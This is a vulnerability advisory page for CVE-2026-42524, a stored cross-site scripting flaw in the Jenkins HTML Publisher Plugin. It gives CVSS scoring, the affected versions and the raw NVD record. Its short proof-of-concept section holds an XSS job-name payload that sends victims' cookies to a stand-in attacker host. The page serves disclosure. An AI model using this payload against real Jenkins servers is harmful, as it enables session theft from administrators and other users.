Security Vulnerability Report
中文
CVE-2026-42524 CVSS 8.0 HIGH

CVE-2026-42524

Published: 2026-04-29 14:16:19
Last Modified: 2026-05-05 18:06:34

Description

Jenkins HTML Publisher Plugin 427 and earlier does not escape job name and URL in the legacy wrapper file, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:jenkins:html_publisher:*:*:*:*:*:jenkins:*:* - VULNERABLE
Jenkins HTML Publisher Plugin <= 427

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-42524: Stored XSS in Jenkins HTML Publisher Plugin * Prerequisite: Attacker needs 'Item/Configure' permission on a Jenkins job. */ // Step 1: Configure a Jenkins job (or rename existing one) // Set the Job Name to a malicious payload containing XSS. // Example Job Name: "<script>document.location='http://attacker.com/steal?c='+document.cookie</script>" // Step 2: Configure the HTML Publisher Plugin to publish reports for this job. // Ensure the "Report Title" or other fields utilize the job name if necessary, // though the vulnerability specifically mentions escaping issues in the legacy wrapper file // related to job name/URL. // Step 3: Trigger a build to generate the report. // Step 4: An administrator or other user views the published HTML report. // The malicious script in the job name will execute in the victim's browser context.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42524", "sourceIdentifier": "[email protected]", "published": "2026-04-29T14:16:19.457", "lastModified": "2026-05-05T18:06:33.650", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Jenkins HTML Publisher Plugin 427 and earlier does not escape job name and URL in the legacy wrapper file, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jenkins:html_publisher:*:*:*:*:*:jenkins:*:*", "versionEndIncluding": "427", "matchCriteriaId": "B2B63A26-10CB-44CB-88AA-28524ACB78D6"}]}]}], "references": [{"url": "https://www.jenkins.io/security/advisory/2026-04-29/#SECURITY-3706", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}